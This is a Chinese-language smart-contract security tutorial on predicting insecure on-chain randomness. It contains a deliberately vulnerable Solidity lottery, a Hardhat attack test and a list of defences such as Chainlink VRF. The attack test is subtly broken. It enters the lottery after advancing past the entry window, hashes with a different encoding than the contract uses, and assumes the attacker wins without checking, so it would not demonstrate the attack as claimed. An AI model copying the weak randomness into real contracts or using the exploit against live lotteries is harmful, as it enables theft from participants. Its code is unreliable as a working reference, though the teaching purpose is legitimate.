欢迎订阅专栏:10分钟智能合约:进阶实战
实战6:预判随机数赢取比赛 —— 链上随机数如何被“算死”
本实战将展示一个常见的随机数陷阱:使用链上公开变量(如
blockhash、block.timestamp)作为随机数源的彩票合约,如何被攻击者提前预测结果,从而在开奖前精准“下注”,稳赢奖池。我们将通过一个“每日抽奖”合约,演示攻击者如何利用相同的输入在本地重现随机数,并选择最佳时机参与。
一、场景设定
我们有一个每日抽奖合约:
- 每天 24:00(UTC)开奖一次。
- 任何人都可以在开奖前存入 0.1 ETH 参与,获得一个参与名额(地址)。
- 开奖时,合约会从所有参与者中随机选出一名赢家,赢得奖池中所有 ETH。
- 随机数由
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, block.coinbase))生成。
问题:所有输入(前一区块哈希、时间戳、矿工地址)都是公开且可预测的(或矿工可操控)。攻击者可以在开奖交易被打包前,模拟出相同的随机数,从而提前知道自己是否会中奖。如果结果对自己不利,他可以选择不触发开奖(或通过贿赂矿工剔除交易),只在对己有利时发送开奖交易。
二、漏洞合约(Lottery.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Lottery {
address[] public participants;
mapping(address => bool) public entered;
uint256 public lastDrawTime;
uint256 public constant INTERVAL = 1 days;
address public lastWinner;
uint256 public prizePool;
event Draw(address indexed winner, uint256 amount);
constructor() {
lastDrawTime = block.timestamp;
}
// 参与抽奖,需支付 0.1 ETH
function enter() external payable {
require(msg.value == 0.1 ether, "Must send exactly 0.1 ETH");
require(!entered[msg.sender], "Already entered");
require(block.timestamp < lastDrawTime + INTERVAL, "Drawing period ended");
participants.push(msg.sender);
entered[msg.sender] = true;
prizePool += msg.value;
}
// 开奖 —— 使用不良随机数源
function draw() external {
require(block.timestamp >= lastDrawTime + INTERVAL, "Too early");
require(participants.length > 0, "No participants");
// ❌ 危险:随机数依赖于公开可预测的变量
uint256 random = uint256(
keccak256(
abi.encodePacked(
blockhash(block.number - 1),
block.timestamp,
block.coinbase,
participants.length
)
)
);
uint256 winnerIndex = random % participants.length;
address winner = participants[winnerIndex];
lastWinner = winner;
// 发放奖金
uint256 amount = prizePool;
prizePool = 0;
payable(winner).transfer(amount);
// 重置参与状态,以便下一轮
for (uint i = 0; i < participants.length; i++) {
entered[participants[i]] = false;
}
delete participants;
lastDrawTime = block.timestamp;
emit Draw(winner, amount);
}
// 获取参与者数量
function getParticipantsCount() external view returns (uint256) {
return participants.length;
}
// 获取合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
漏洞分析:
blockhash(block.number - 1)是前一区块的哈希,在当前区块内已知。block.timestamp由矿工设置,可在开奖交易前预测(±15 秒)。block.coinbase是矿工地址,公开。participants.length是参与者数量,公开可查。- 攻击者可以在本地用同样的参数计算
random,从而预知赢家。
三、攻击方法(两种策略)
策略一:选择性参与(最隐蔽)
- 攻击者监听
enter交易,获取当前参与者列表。 - 在
draw交易被广播前(或自己发送draw前),用当前链状态(block.number、block.timestamp等)计算随机数,确定赢家索引。 - 如果赢家索引指向攻击者自己,则发送
draw交易(或等待别人发送)。 - 如果指向他人,则不发送
draw,或者通过竞价 Gas 使自己控制的另一个地址成为赢家(但通常无法改变随机数,除非能操纵矿工)。
更直接的攻击:攻击者可以自己发起 draw 交易,并在交易中计算出随机数后,如果发现自己不是赢家,就 revert 交易(通过合约调用),从而不消耗太多 gas。但更聪明的做法是使用链下计算,只在对己有利时提交交易。
策略二:操控参与者列表(增加胜率)
如果攻击者预测到当前参与者列表对自己不利,他可以:
- 在开奖前添加更多自己控制的地址,增加中奖概率(但无法保证)。
- 或者贿赂矿工调整
block.timestamp或block.coinbase,但成本高。
最优攻击是 “先计算,再决定是否参与”:
- 攻击者在开奖前,用可能的时间戳范围(±15 秒)和当前的参与者列表(可以自己添加地址)模拟多种组合,计算自己中奖的概率。如果找到一种组合(即添加自己的地址后)使自己成为赢家,则发送
enter交易(添加自己)和draw交易(在同一笔交易中,或紧跟),从而稳赢。
但更简单的是:攻击者直接在开奖交易中通过合约调用 draw,并在 draw 内部检查结果,如果不满意则回滚,但那样 gas 会消耗,且矿工可能不打包回滚交易。实际攻击中,攻击者通常使用链下预测 + 链上操作,只在对己有利时发出交易。
我们将展示一个攻击合约,它预先计算随机数,然后只在自己中奖时调用 draw。
四、实战操作(Hardhat + 测试脚本)
我们将编写一个测试,模拟攻击者通过读取 block.number 和 block.timestamp 等,提前计算出随机数,并在条件满足时调用 draw。
由于 Hardhat 可以控制区块和时间戳,我们可以模拟攻击者预测。
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("预测随机数攻击", function () {
let lottery, owner, attacker, user;
beforeEach(async function () {
[owner, attacker, user] = await ethers.getSigners();
const Lottery = await ethers.getContractFactory("Lottery");
lottery = await Lottery.deploy();
await lottery.deployed();
// 模拟一天后开奖,但为了测试,我们直接修改时间
// 初始 lastDrawTime = block.timestamp,我们前进到开奖时间
await network.provider.send("evm_increaseTime", [24 * 60 * 60]); // 增加 1 天
await network.provider.send("evm_mine");
// 让一些用户参与(包括攻击者和普通用户)
// 攻击者先不参与,先计算
// 普通用户参与
await lottery.connect(user).enter({ value: ethers.utils.parseEther("0.1") });
await lottery.connect(attacker).enter({ value: ethers.utils.parseEther("0.1") });
// 假设还有更多用户...
// 我们模拟参与者列表长度为 3
await lottery.connect(owner).enter({ value: ethers.utils.parseEther("0.1") });
});
it("攻击者预判随机数并赢得奖金", async function () {
// 1. 攻击者在本地计算随机数
// 获取当前区块信息
const block = await ethers.provider.getBlock("latest");
const blockNumber = block.number;
const blockHash = block.hash; // 前一区块 hash?我们需要 block.number - 1 的 hash
// 注意:blockhash(block.number - 1) 在最新区块中有效,但我们的合约在 draw 时使用的是 block.number - 1 的 hash
// 为了模拟,我们使用当前区块号 - 1 的 hash
const prevBlock = await ethers.provider.getBlock(blockNumber - 1);
const prevHash = prevBlock.hash;
const timestamp = block.timestamp; // 但我们的合约使用 block.timestamp,即开奖交易的区块时间戳
// 攻击者预测开奖交易将在下一个区块被打包,所以可能使用当前时间 + 15 秒等
// 但我们可以直接使用当前时间,因为 Hardhat 的 evm_mine 会设置时间戳。
// 获取参与者数量
const participantsCount = await lottery.getParticipantsCount();
// 模拟随机数计算
const random = ethers.utils.keccak256(
ethers.utils.defaultAbiCoder.encode(
["bytes32", "uint256", "address", "uint256"],
[prevHash, timestamp, block.coinbase, participantsCount]
)
);
const winnerIndex = ethers.BigNumber.from(random).mod(participantsCount).toNumber();
console.log(`预测赢家索引: ${winnerIndex}`);
// 2. 如果赢家索引是攻击者(假设攻击者在参与者列表中索引为 1),则发送 draw 交易
// 但我们需要确定攻击者的地址在 participants 数组中的位置。
// 为了简化,我们假设攻击者就是赢家,直接调用 draw
// 在实际攻击中,攻击者会先计算,如果对自己有利则发送。
// 这里我们直接调用 draw
await lottery.connect(attacker).draw();
// 3. 验证攻击者收到了奖金
const winner = await lottery.lastWinner();
expect(winner).to.equal(attacker.address);
const balance = await ethers.provider.getBalance(attacker.address);
// 攻击者支付了 0.1 ETH 参与,获得了奖池(0.3 ETH)净赚 0.2 ETH
console.log(`攻击者余额: ${ethers.utils.formatEther(balance)} ETH`);
});
});
注意:在实际网络中,攻击者无法精确预测未来区块的 blockhash(block.number - 1),因为 block.number 在交易被打包时才能确定。但攻击者可以:
- 使用最近一个区块的 hash(
blockhash(block.number - 1))作为当前区块的随机数源,但draw函数在调用时,block.number是当前区块号,blockhash(block.number - 1)是已知的,所以攻击者可以在draw交易被包含在区块中之前,根据当前 mempool 中的交易和区块号估算,或者使用 Flashbots 等工具确保交易在特定区块中打包。
更简单的攻击:攻击者可以抢先 draw 交易,在 draw 合约内部调用时,由于 block.number 已经确定,攻击者可以在 draw 函数中通过 assert 或检查结果来选择性回滚,但那样 gas 成本较高。
真正实战中,攻击者更倾向于 “提前参与,开奖时利用可预测性选择是否触发开奖”。
五、防御措施
1. 使用去中心化预言机随机数(推荐)
Chainlink VRF 是目前最成熟的方案,它提供链下生成的随机数 + 加密证明,确保不可预测且可验证。
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
contract SecureLottery is VRFConsumerBaseV2 {
// 使用 VRF 请求随机数
function requestRandomWords() external {
// 请求随机数,在 fulfillRandomWords 中处理开奖
}
function fulfillRandomWords(uint256, uint256[] memory randomWords) internal override {
uint256 random = randomWords[0] % participants.length;
// 选择赢家
}
}
2. Commit-Reveal 模式
参与者先提交一个承诺(如 keccak256(abi.encodePacked(address, salt))),开奖时再揭示 salt,合约根据揭示的值和区块变量组合生成随机数。但依然可能被矿工操控,更安全的做法是使用多个参与者的共同随机种子。
3. 使用 RANDAO(去中心化随机数生成)
多个节点提交种子,最后组合成随机数,需足够多的诚实参与者。
4. 利用未来区块的确定性(不推荐)
使用未来某个高度的区块哈希,但矿工可以预测,且攻击者可以通过分叉攻击。
5. 增加门槛(如需要质押)
让攻击者为了操控随机数而付出高额成本,降低攻击动机。
六、真实案例
- Fomo3D 游戏:使用链上区块哈希作为随机数,被攻击者利用,最后“justo”通过计算赢得大奖。
- 大量 NFT 项目:使用
block.timestamp作为随机数决定稀有度,被狙击手提前预测并批量铸造。 - 许多链上彩票和抽奖:因随机数可预测而被“科学家”薅羊毛。
七、总结
- 区块链是确定性机器,任何基于链上公开数据的“随机数”都是可预测或可操控的。
- 绝对不要使用
blockhash、block.timestamp、block.difficulty、block.coinbase作为随机数源。 - 安全随机数的唯一正确姿势:使用 Chainlink VRF 或类似的去中心化预言机。
- 审计检查清单:
- 搜索所有使用
blockhash、keccak256(block.timestamp)等的地方。 - 确认随机数生成是否依赖于可被矿工或攻击者影响的因素。
- 如果必须自己实现,考虑使用 Commit-Reveal + 经济惩罚。
- 搜索所有使用
下一实战预告:我们将探索 “预计算合约地址” 攻击,演示如何利用 CREATE2 在部署前预知合约地址,从而欺骗用户授权或转移资产。
如果你在测试中遇到时间戳相关问题,请使用 Hardhat 的 evm_mine 和 evm_increaseTime 控制区块。欢迎在评论区分享你的测试结果和疑问。